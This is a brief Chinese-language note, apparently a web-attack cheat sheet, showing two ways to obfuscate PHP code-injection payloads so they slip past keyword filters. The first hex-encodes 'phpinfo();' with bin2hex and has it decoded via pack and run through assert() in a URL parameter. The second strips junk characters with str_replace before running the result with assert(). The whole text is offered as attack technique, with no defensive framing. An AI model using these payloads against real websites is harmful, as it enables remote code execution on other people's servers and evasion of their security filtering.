1.参数bin2hex加密,例如phpinfo():
编写脚本得到加密后的数据:706870696e666f28293b
<?php
$str = "phpinfo();";
$hex = bin2hex($str);
echo($hex)
?>
url的参数为:www.xx.com?x=$hex=‘706870696e666f28293b’;assert(pack(“H*”,$hex));
2.replace()函数
url的参数为:www.xx.com?x=$str=str_replace(‘qa’,’’,‘qapqahpqainfqao()’);assert($str);